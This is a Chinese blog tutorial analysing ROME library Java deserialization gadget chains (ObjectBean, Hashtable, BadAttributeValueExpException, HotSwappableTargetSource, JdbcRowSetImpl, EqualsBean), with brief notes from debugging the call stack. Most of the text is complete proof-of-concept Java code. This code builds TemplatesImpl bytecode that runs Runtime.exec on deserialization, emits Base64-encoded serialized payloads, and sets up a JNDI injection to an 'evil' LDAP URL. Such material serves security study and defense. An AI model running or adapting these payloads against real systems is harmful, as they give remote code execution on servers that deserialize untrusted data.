环境搭建

<dependencies>

    <dependency>

      <groupId>junit</groupId>

      <artifactId>junit</artifactId>

      <version>4.11</version>

      <scope>test</scope>

    </dependency>

    <dependency>

      <groupId>rome</groupId>

      <artifactId>rome</artifactId>

      <version>1.0</version>

    </dependency>

    <dependency>

      <groupId>org.javassist</groupId>

      <artifactId>javassist</artifactId>

      <version>3.28.0-GA</version>

    </dependency>

  </dependencies>

ObjectBean链

先看看调用栈：

 * TemplatesImpl.getOutputProperties()

 * ToStringBean.toString(String)

 * ToStringBean.toString()

 * EqualsBean.beanHashCode()

 * EqualsBean.hashCode()

 * HashMap<K,V>.hash(Object)

 * HashMap<K,V>.readObject(ObjectInputStream)

先给出poc，然后一步步调试分析

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

public class Main {

    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(hashMap);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        Map hashMap = new HashMap();

        hashMap.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean",null);

        setFieldValue(objectBean,"_toStringBean", null);

        ByteArrayOutputStream bos = unSer(hashMap);

        Base64Encode(bos);

    }

}

在readObject处打个断点开始调试



进入HashMap的readObject



跟进hash方法



跟进hashCode方法



来到ObjectBean的hashCode方法，_equalsBean是EqualsBean的实例对象，跟进它的beanHashCode方法



_obj是ToStringBean的实例对象，跟进它的toString方法



进入另一个有参方法toString



this._beanclass为javax.xml.transform.Templates,将它的名字传入了getPropertyDescriptors，跟进



这里就很怪了，看其它博主的调试文章说是像是fastjson的任意get，set方法调用，在hashMap进行put时会进入getPDs方法，但我经过实际调试确是没法进入这个方法，我跟进的是进入invoke，_obj是我们的TemplatesImpl的实例对象

进入invoke后，往后会调用到NativeMethodAccessorImpl的invoke方法，这里的method是Templates的getOutputProperties方法，var1是我们的TemplatesImpl对象



进入invoke0，就会调用TemplatesImpl的getOutputProperties方法，但是为什么不会弹计算器，这是一个谜，到反序列化的时候，追踪到调用toString的时候才会触发，有师傅知道为什么，麻烦在评论区告诉一下wuwuwu

HashTable链

这条链子实际上就是在HashMap被ban的情况下进行反序列化，因为最终目的始终都是调用hashcode函数，而HashTbale中刚好调用了hashcode，因此仍然可以触发整套流程

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

import java.util.Map;

public class HashTable {

    public static ByteArrayOutputStream unSer(Map hashMap) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(hashMap);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

        Map hashTable = new Hashtable();

        hashTable.put(objectBean, "x");

        setFieldValue(objectBean, "_cloneableBean",null);

        setFieldValue(objectBean,"_toStringBean", null);

        ByteArrayOutputStream bos = unSer(hashTable);

        Base64Encode(bos);

    }

}

链子流程跟上一个一样

BadAttributeValueExpException链

这个类在CC链中我们是拿来触发toString的，他的readObject方法中有toString，因此可以直接连着Rmoe链的ToStringBean，这样也是可以触发的

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.ObjectBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import javax.management.BadAttributeValueExpException;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.Hashtable;

import java.util.Map;

public class BadAVEE {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);

        setFieldValue(badAttributeValueExpException, "val", toStringBean);

        ByteArrayOutputStream bos = unSer(badAttributeValueExpException);

        Base64Encode(bos);

    }

}

因为不需要hashCode了，所以hashMap和objectbean也就不需要了，直接上ToStringBean，调试流程就不写了，因为没啥太大改动

HotSwappableTargetSource链

这个类有equals方法，可以触发Xstring的toString，那么也就可以接上Rome的后半段，这里注意加个org.springframework.aop.target.HotSwappableTargetSource的依赖

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xpath.internal.objects.XString;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;

import java.io.*;

import java.lang.reflect.Field;

import java.util.Base64;

import java.util.HashMap;

import java.util.Map;

public class HotSwapp {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

        ClassPool pool = ClassPool.getDefault();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass ct = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        ct.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        ct.setName(randomClassName);

        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[][] bytes = new byte[][]{ct.toBytecode()};

        TemplatesImpl templatesImpl = new TemplatesImpl();

        setFieldValue(templatesImpl, "_bytecodes", bytes);

        setFieldValue(templatesImpl, "_name", "a");

        setFieldValue(templatesImpl, "_tfactory", null);

        ToStringBean toStringBean = new ToStringBean(Templates.class, templatesImpl);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(new XString("123"));

        HotSwappableTargetSource h2 = new HotSwappableTargetSource(toStringBean);

        HashMap<Object, Object> hashMap = new HashMap();

        hashMap.put(h2, h2);

        hashMap.put(h1, h1);

        ByteArrayOutputStream bos = unSer(hashMap);

        Base64Encode(bos);

    }

}

HashMap中的putval会调用equals方法，触发HotSwappableTargetSource的equals方法



左边的target是put进去的h1，右边的target是put进去的h2，这样就会调用XString的equals方法，触发toStringBean的toString方法，链子闭合

JdbcRowSetImpl链

这个类的入口点是在一个get方法上JdbcRowSetImpl.getDatabaseMetaData(),而rome链中又可以调用任意get方法，那其实也就和TempaltesImpl链思路是一样的，只是在不能使用TempaltesImpl时可以进行替换，这个类在Fastjson中很常见，用于JDNI注入，那么这样也是一样的进行JNDI注入，所以得注意jdk版本，不能高于jdk191，启动一个恶意LDAP服务

package org.example;

import com.sun.rowset.JdbcRowSetImpl;

import com.sun.syndication.feed.impl.EqualsBean;

import com.sun.syndication.feed.impl.ToStringBean;

import javassist.*;

import java.io.*;

import java.lang.reflect.Field;

import java.sql.SQLException;

import java.util.Base64;

import java.util.HashMap;

public class Jdbc {

    public static ByteArrayOutputStream unSer(Object obj) throws IOException, ClassNotFoundException {

        // 序列化

        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(obj);

        // 反序列化

        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

        ObjectInputStream ois = new ObjectInputStream(bis);

        ois.readObject();

        ois.close();

        return bos;

    }

    public static void Base64Encode(ByteArrayOutputStream bos){

        byte[] bytes = Base64.getEncoder().encode(bos.toByteArray());

        String s = new String(bytes);

        System.out.println(s);

        System.out.println(s.length());

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {

        Field f = obj.getClass().getDeclaredField(fieldName);

        f.setAccessible(true);

        f.set(obj, value);

    }

    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, SQLException {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

        String url = "ldap://127.0.0.1:1099/evil";

        jdbcRowSet.setDataSourceName(url);

        ToStringBean toStringBean=new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);

        EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object, Object> map = new HashMap<>();

        map.put(equalsBean,"xxxxx");

        ByteArrayOutputStream bos = unSer(map);

        Base64Encode(bos);

    }

}

EqualsBean链

通过HashSet来触发EqualsBean的equals，调用到getter，任意get方法调用触发TemplatesImpl

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.syndication.feed.impl.EqualsBean;

import javassist.ClassPool;

import javassist.CtClass;

import javassist.CtConstructor;

import javax.xml.transform.Templates;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.*;

/**

 * Hello world!

 *

 */

public class App

{

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{

        Field f = obj.getClass().getDeclaredField(field);

        f.setAccessible(true);

        f.set(obj, arg);

    }

    public static void main( String[] args )

    {

        try {

            ClassPool pool = ClassPool.getDefault();

            CtClass ctClass = pool.makeClass("i");

            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

            ctClass.setSuperclass(superClass);

            CtConstructor constructor = ctClass.makeClassInitializer();

            constructor.setBody("Runtime.getRuntime().exec(\"calc\");");

            byte[] bytes = ctClass.toBytecode();

            TemplatesImpl templatesImpl = new TemplatesImpl();

            setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

            setFieldValue(templatesImpl, "_name", "a");

            setFieldValue(templatesImpl, "_tfactory", null);

            EqualsBean bean = new EqualsBean(String.class, "s");

            HashMap map1 = new HashMap();

            HashMap map2 = new HashMap();

            map1.put("yy", bean);

            map1.put("zZ", templatesImpl);

            map2.put("zZ", bean);

            map2.put("yy", templatesImpl);

            HashSet table = new HashSet();

            table.add(map1);

            table.add(map2);

            //table.put(map1, "1");

            //table.put(map2, "2");

            setFieldValue(bean, "_beanClass", Templates.class);

            setFieldValue(bean, "_obj", templatesImpl);

            unSerial(table);

        } catch (Exception e) {

            e.printStackTrace();

        }

    }

    private static ByteArrayOutputStream unSerial(Object hashMap) throws Exception{

        ByteArrayOutputStream bs = new ByteArrayOutputStream();

        ObjectOutputStream out = new ObjectOutputStream(bs);

        out.writeObject(hashMap);

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));

        in.readObject();

        in.close();

        return bs;

    }

    private static void Base64Encode(ByteArrayOutputStream bs){

        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());

        String s = new String(encode);

        System.out.println(s);

        System.out.println(s.length());

    }

}

Rome反序列化链分析的更多相关文章

  1. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  2. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  5. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  6. 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现

    一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...

  7. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  8. ActiveMQ反序列化(CVE-2015-5254) && ActiveMQ任意文件写入 (CVE-2016-3088)

    ActiveMQ 反序列化漏洞(CVE-2015-5254) 漏洞详情 ActiveMQ启动后,将监听61616和8161两个端口,其中消息在61616这个端口进行传递,使用ActiveMQ这个中间件 ...

  9. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  10. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

随机推荐

  1. 【Azure 存储服务】使用REST API操作Azure Storage Table，删除数据(Delete Entity)

    问题描述 使用Azure Storage Table的REST API,实现根据过滤条件删除满足条件的数据,调用方法为  Delete Entity (Azure Storage) 问题实现 第一步: ...

  2. C#多线程(5)：资源池限制

    目录 Semaphore.SemaphoreSlim 类 Semaphore 类 示例 示例说明 信号量 SemaphoreSlim类 示例 区别 Semaphore.SemaphoreSlim 类 ...

  3. NebulaGraph v3.3.0 发布：支持子图过滤、和大量性能优化

    NebulaGraph 3.3.0 支持了 GET SUBGRAPH 和 GetNeighbors 的点过滤.引入了大量性能优化,同时,开始对无 tag 顶点的支持默认关闭. 优化 优化了 k-hop ...

  4. 【代码更新】SPI时序——AD数模数转换

    [代码更新]SPI时序--AD数模数转换 AD芯片手册:https://www.ti.com.cn/cn/lit/ds/symlink/ads8558.pdf?ts=1709473143911& ...

  5. Jmeter Jsonpath 语法你了解多少？

  6. Thinkphp6 自定义命令创建类文件

    以创建控制器为例 1.先通过 think 命令创建一个make文件,效果如下图: php think make:command make/MyController 2.修改上面创建的文件[MyCont ...

  7. MySQL学习之初识数据库

    •数据库的相关概念 DB : 数据库,保存一组有组织的数据的容器 DBMS : 数据库管理系统,又称为数据库软件(产品),用于管理 DB 中的数据 SQL : 结构化查询语言,用于和 DBMS 通信的 ...

  8. [.Net]使用Soa库+Abp搭建微服务项目框架（四）：动态代理和RPC

    ​上一章我们完成了小项目的面向服务体系改造,你或许一直在思考一个问题.为什么要将业务独立成微服务? 微服务原理 以一个健康医疗系统为例, 这个系统包含了用户模块,问卷的发放与填写,图表显示,报表生成与 ...

  9. Ubuntu18.04声卡配置问题解决

    一 问题 对于经常做音频的工程师来说,经常需要使用linux下的声卡切换,期间遇到了各种问题,自使用了pavucontrol,问题没有了.真是瞬间感觉赏心悦目啊. 二 安装使用方法 安装pavucon ...

  10. C++ 字面值的前缀和后缀

    一般字符字面值用前缀,数字字面值用后缀: --C++ Primer第五版2.1.3